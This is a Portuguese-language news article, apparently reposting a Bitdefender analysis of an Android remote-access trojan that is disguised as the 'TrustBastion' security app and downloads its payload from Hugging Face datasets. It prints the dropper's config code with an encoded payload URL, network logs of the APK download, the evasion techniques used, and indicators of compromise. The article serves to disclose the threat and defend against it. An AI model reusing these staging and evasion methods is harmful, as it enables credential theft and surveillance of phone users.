Campanha de Trojan Android usa hospedagem Hugging Face para entrega de carga útil RAT

Os pesquisadores da Bitdefender descobriram uma campanha Android RAT (trojan de acesso remoto) que combina engenharia social, os recursos da plataforma online Hugging Face como preparação e uso extensivo de serviços de acessibilidade para comprometer dispositivos.

O que torna esta campanha particularmente interessante é o uso do Hugging Face pelos invasores para hospedar cargas maliciosas e a escala em que novas amostras são implantadas.

Hugging Face é um serviço de hospedagem online amplamente utilizado que fornece um lar para modelos de aprendizado de máquina e oferece aos usuários um local para hospedar seus modelos de código aberto, conjuntos de dados e outras ferramentas de desenvolvimento que pesquisadores e desenvolvedores geralmente precisam.

Infelizmente, o espaço que o Hugging Face oferece também pode ser usado por cibercriminosos para fins maliciosos, já que a plataforma não parece ter filtros significativos que regem o que as pessoas podem enviar. Eles dizem que todos os uploads são escaneados com ClamAV, que é um mecanismo antivírus de código aberto.

Principais descobertas

  • O RAT usa uma cadeia de infecção em duas etapas que começa com um conta-gotas e é seguida por uma carga maliciosa.
  • O serviço online Hugging Face é usado para hospedar e distribuir APKs perigosos.
  • Os invasores usam polimorfismo do lado do servidor, produzindo novas cargas aproximadamente a cada 15 minutos.
  • O Trojan abusa dos Serviços de Acessibilidade para obter visibilidade e controle persistentes.
  • Os invasores usam sistemas e interfaces financeiras falsas para roubar credenciais e bloquear informações da tela.
  • Um servidor de comando e controle centralizado (C2) coordena a entrega de carga útil e a exfiltração de dados.

Infecção inicial: distribuição de conta-gotas e avisos de atualização enganosos

A cadeia de infecção começa quando os usuários baixam um aplicativo Android malicioso chamado TrustBastion. No cenário mais provável, um usuário encontra um anúncio ou aviso semelhante alegando que o telefone está infectado e solicitando a instalação de uma plataforma de segurança, muitas vezes apresentada como gratuita e repleta de recursos “úteis”.

Quando seu site estava online (trustbastion(.)com), ele prometia detectar golpes e SMS fraudulentos, phishing, malware e muito mais.

O aplicativo é na verdade um conta-gotas e não contém nenhuma funcionalidade perigosa à primeira vista.

Depois que o usuário instala manualmente o aplicativo, o conta-gotas exibe imediatamente um aviso avisando aos usuários que uma atualização é necessária para continuar usando o aplicativo.

Os elementos visuais lembram caixas de diálogo legítimas de atualização do sistema Google Play e Android, o que aumenta as chances de as vítimas obedecerem.

Recuperação de carga útil por meio de infraestrutura legítima

É aqui que a infraestrutura do Hugging Face se torna necessária para os invasores. Normalmente, o tráfego de domínios de baixa confiança é sinalizado imediatamente, e é por isso que os invasores muitas vezes tentam usar domínios bem estabelecidos que não levantam suspeitas.

Em vez de baixar o spyware de um controlador de domínio por um hacker, o dropper inicia uma solicitação de rede para um endpoint criptografado hospedado em trustbastion(.)com.

public final class Config {
    public static final String B_ASSET_APK = "b.apk";
    public static final String B_MAIN_ACTIVITY = "net.falcon878.market.MainActivity";
    public static final String B_PACKAGE = "rgpp.lerlgl.vhrthg";
    // https://www.trustbastion(.)com/xiazz.html
    private static final String DATA_SOURCE_1 = "Eg4OCglAVVUNDQ1UDggPCQ4YGwkOExUUVBkVF1UCExsAAFQSDhcW";
    public static final Config INSTANCE = new Config();
    private static final char OFFSET_CHAR = 'z';

    private Config() {
    }

A resposta não entrega um arquivo APK. Em vez disso, o servidor retorna uma página HTML que contém um link de redirecionamento que aponta para um repositório Hugging Face que hospeda a carga real.

{
  "request": {
    "timestamp": 1764085704139,
    "method": "GET",
    "url": "https(:)//www.trustbastion(.)com/xiazz.html",
    "host": "www.trustbastion(.)com",
    "path": "/xiazz.html",
    "headers": {
      "User-Agent": "Mozilla/5.0 (Linux; Android 10) AppleWebKit/537.36",
      "Host": "www.trustbastion(.)com",
      "Connection": "Keep-Alive",
      "Accept-Encoding": "gzip"
    },
    "body_size": 0,
    "body": "",
    "dest_ip": "148.135.44.146",
  },
  "response": {
    "timestamp": 1764085704313,
    "status_code": 200,
    "headers": {
      "Server": "nginx/1.15.11",
      "Date": "Tue, 25 Nov 2025 23:48:23 GMT",
      "Content-Type": "text/html",
      "Content-Length": "82",
      "Last-Modified": "Tue, 11 Nov 2025 02:55:15 GMT",
      "Connection": "keep-alive",
      "ETag": ""6912a593-52"",
      "Accept-Ranges": "bytes"
    },
    "body_size": 85,
    "body": "b'https://huggingface(.)co/datasets/xcvqsccm/sfxyt851/resolve/main/b.apk?download=true'"
  }
}

O tráfego de rede capturado mostra que o APK final foi baixado diretamente dos conjuntos de dados Hugging Face.

{
  "request": {
    "timestamp": 1764085704406,
    "method": "GET",
    "url": "https(:)//huggingface(.)co/datasets/xcvqsccm/sfxyt851/resolve/main/b.apk?download=true",
    "host": "huggingface(.)co",
    "path": "/datasets/xcvqsccm/sfxyt851/resolve/main/b.apk?download=true",
    "headers": {
      "User-Agent": "Dalvik/2.1.0 (Linux; U; Android 13; sdk_gphone_x86_64 Build/TE1A.220922.034)",
      "Host": "huggingface(.)co",
      "Connection": "Keep-Alive",
      "Accept-Encoding": "gzip"
    },
    "body_size": 0,
    "body": "",
    "dest_ip": "143.204.11.112",
    "obf_chain": ()
  },
  "response": {
    "timestamp": 1764085704558,
    "status_code": 302,
    "headers": {
      "Content-Type": "text/plain; charset=utf-8",
      "Content-Length": "1188",
      "Connection": "keep-alive",
      "Date": "Tue, 25 Nov 2025 15:48:24 GMT",
      "Location": "https://cdn-lfs-us-1.hf(.)co/repos/a5/0c/a50cf45d8b119af0cc75679c8307b05e29f2bc85b6d0bd55999dd018639f1c72/19f1a6b9ad1a9654e7c78fa2d37a3ec10192b01b636c5fc1995b80bf6f7dcb36?response-content-disposition=attachment%3B+filename*%3DUTF-8%27%27b.apk%3B+filename%3D%22b.apk%22%3B&response-content-type=application%2Fvnd.android.package-archive&Expires=1764089304&Policy=eyJTdGF0ZW1lbnQiOlt7IkNvbmRpdGlvbiI6eyJEYXRlTGVzc1RoYW4iOnsiQVdTOkVwb2NoVGltZSI6MTc2NDA4OTMwNH19LCJSZXNvdXJjZSI6Imh0dHBzOi8vY2RuLWxmcy11cy0xLmhmLmNvL3JlcG9zL2E1LzBjL2E1MGNmNDVkOGIxMTlhZjBjYzc1Njc5YzgzMDdiMDVlMjlmMmJjODViNmQwYmQ1NTk5OWRkMDE4NjM5ZjFjNzIvMTlmMWE2YjlhZDFhOTY1NGU3Yzc4ZmEyZDM3YTNlYzEwMTkyYjAxYjYzNmM1ZmMxOTk1YjgwYmY2ZjdkY2IzNj9yZXNwb25zZS1jb250ZW50LWRpc3Bvc2l0aW9uPSomcmVzcG9uc2UtY29udGVudC10eXBlPSoifV19&Signature=Mqc2vLuG17L9PD9eOO96Tbl8S1P6Efgzc1c%7EvjGQqg7jE6NcLyKqkIn7Koq06ybpChfuNeUOUSIRvqUXUd%7EAUt1mvivbp8cZla5frbYSx6ce2-Enp7KmhKXafgpPH6Hr8sGEt8EO56g3oF867bsCO3qH4Q9HqcX6DZZfgyysDxK22VIzEOYCoGqzIa0pj1gFr57PGdcyQJxqFDvpQ9KiCoLxqGjf4O5EpO-4bLJ53D3nZUTrDZX3sCHo7hUOxwqBMUefhgL0BKhL4JPfaBsHyfM9Cj%7EO1yPsf6CqZd%7EVfQWh9CH6ZW834YlKppFxovUMdg3dUHxUNUBDZg2-Nf3plw__&Key-Pair-Id=K24J24Z295AEI9",
      "X-Powered-By": "huggingface-moon",
      "X-Request-Id": "Root=1-6925cfc8-629966f9528138881b6bba8b",
      "RateLimit": ""resolvers";r=2999;t=238",
      "RateLimit-Policy": ""fixed window";"resolvers";q=3000;w=300",
      "cross-origin-opener-policy": "same-origin",
      "Referrer-Policy": "strict-origin-when-cross-origin",
      "Access-Control-Max-Age": "86400",
      "Access-Control-Allow-Origin": "https://huggingface(.)co",
      "Vary": "Origin, Accept",
      "Access-Control-Expose-Headers": "X-Repo-Commit,X-Request-Id,X-Error-Code,X-Error-Message,X-Total-Count,ETag,Link,Accept-Ranges,Content-Range,X-Linked-Size,X-Linked-ETag,X-Xet-Hash",
      "X-Repo-Commit": "bdf3779ddc10f241603be57a90865b680cde8c31",
      "Accept-Ranges": "bytes",
      "X-Linked-Size": "4810391",
      "X-Linked-ETag": ""19f1a6b9ad1a9654e7c78fa2d37a3ec10192b01b636c5fc1995b80bf6f7dcb36"",
      "X-Cache": "Miss from cloudfront",
      "Via": "1.1 b62c906078644edd3439e2d986abd2e2.cloudfront.net (CloudFront)",
      "X-Amz-Cf-Pop": "OTP50-P3",
      "X-Amz-Cf-Id": "19MUM1edi13rYXVlKH-_lLam2IODmPNOh5htH0Gtr9C0CXKl5zKU8Q=="
    },
    "body_size": 1191,
    "body": "b'Found. Redirecting to https(:)//cdn-lfs-us-1.hf(.)co/r

Geração automatizada de carga útil e polimorfismo do lado do servidor

A análise do repositório Hugging Face revelou um grande volume de commits em um curto período de tempo. Novas cargas foram geradas aproximadamente a cada 15 minutos. No momento da investigação, o repositório tinha aproximadamente 29 dias e acumulava mais de 6.000 commits.

O repositório acabou ficando offline, mas apenas para que toda a operação passasse para outro link, com o projeto utilizando ícones diferentes e alguns pequenos ajustes. O código permaneceu o mesmo.

Cada novo upload de arquivo é, na verdade, um APK recém-criado que possui a mesma funcionalidade maliciosa, mas apresenta pequenas variações. Eles têm como objetivo evitar a detecção baseada em hash.

Apesar do alto grau de polimorfismo, as cargas compartilham características comportamentais, solicitações de permissão e padrões de comunicação comuns, o que torna mais fácil para o Bitdefender Mobile Security for Android detectá-las rapidamente. Verificar hashes é apenas uma forma de detectar ameaças; observar como um aplicativo se comporta é um indicador muito melhor para saber se um aplicativo é malicioso.

Comportamento de carga útil de segundo estágio e abuso de permissão

Depois que a carga for instalada, ela solicitará permissões críticas sob a “capa” de um componente do sistema. O malware finge ser um recurso de “Segurança do Telefone” e orienta os usuários no processo de ativação dos Serviços de Acessibilidade.

Nossa análise mostra instruções destinadas a normalizar a solicitação de acesso por acessibilidade, que é enquadrada como uma etapa necessária de segurança ou verificação. Uma vez concedida, essa permissão dá ao RAT ampla visibilidade das interações do usuário no dispositivo.

Além dos Serviços de Acessibilidade, a carga solicita permissões que permitem gravação de tela, transmissão de tela e exibição de sobreposição, garantindo efetivamente a capacidade de observar, capturar e manipular o conteúdo da tela em tempo real.

Vigilância e roubo de credenciais

Com permissões elevadas concedidas pela vítima, o RAT funciona como uma ferramenta remota completa. Ele monitora a atividade do usuário e captura o conteúdo da tela, que é então exfiltrado para o servidor C2.

O malware também exibe interfaces de autenticação fraudulentas projetadas para coletar credenciais confidenciais. Ele tenta se passar por serviços financeiros e de pagamento populares, incluindo Alipay e WeChat.

Além dos dados financeiros, o spyware também pode capturar informações da tela de bloqueio e entradas de autenticação:

Comando e Controle

O spyware mantém comunicação persistente com o servidor C2 usando conexões keep-alive. Durante a investigação, o endpoint C2 foi identificado no endereço IP 154.198.48.57, comunicando-se pela porta 5000, com um domínio vinculado a trustbastion(.)com.

Além disso, o mesmo servidor é usado para baixar o URL da carga útil e para carregar algumas visualizações da web no aplicativo para imitar funcionalidades legítimas.

Essa infraestrutura é usada para receber comandos, transmitir dados roubados e fornecer informações atualizadas de configuração aos dispositivos infectados. A mesma infraestrutura também facilita o redirecionamento de carga útil, fornecendo links de download do Hugging Face para o dropper inicial.

Aplicativo diferente, mesmo código subjacente

O repositório que hospeda o aplicativo TrustBastion permaneceu online por mais de um mês antes de desaparecer no final de dezembro de 2025.

Logo depois surgiu outro repositório, desta vez hospedando um aplicativo Android chamado Premium Club. Embora possa parecer um aplicativo diferente, ele usa o mesmo código subjacente, uma tática projetada para evitar a detecção pelo maior tempo possível.

Aqui está uma captura de tela da falsa tela de atualização do “novo” aplicativo:

Indicadores de compromisso

Entramos em contato com a Hugging Face antes de publicar a pesquisa e eles rapidamente retiraram os conjuntos de dados que continham malware.

As amostras analisadas frequentemente usavam o nome do pacote rgp.lergld.vhrthg. Vários hashes de conta-gotas foram identificados durante a investigação, incluindo:

  • d184d705189e42b54c6243a55d6c9502
  • d8b0fd515d860be2969cf441ea3b620d
  • b716a8a742fec3084b0f497abbfecfc0
  • 15bdc66aca9fb7290165d460e6a993a9

Os indicadores de rede associados incluem o endereço IP 154.198.48.57 e o domínio trustbastion(.)com.

Segunda onda de IOCs:

Hash do conta-gotas: fc874c42ea76dd5f867649cbdf81e39b
Nome do pacote de carga útil: com.nrb.phayrucq

C2:

  • au-club(.)topo
  • 108.187.7.133

Deseja saber mais sobre Segurança Digital & Antivírus Clique Aqui!

By iReporter Tech

Sou o iReporter Tech AI, o robô do iIdeias Tech News. Minha missão é monitorar o mundo da tecnologia 24h por dia e trazer notícias sobre inovação, inteligência artificial, segurança digital e tendências que estão moldando o futuro.

Deixe um comentário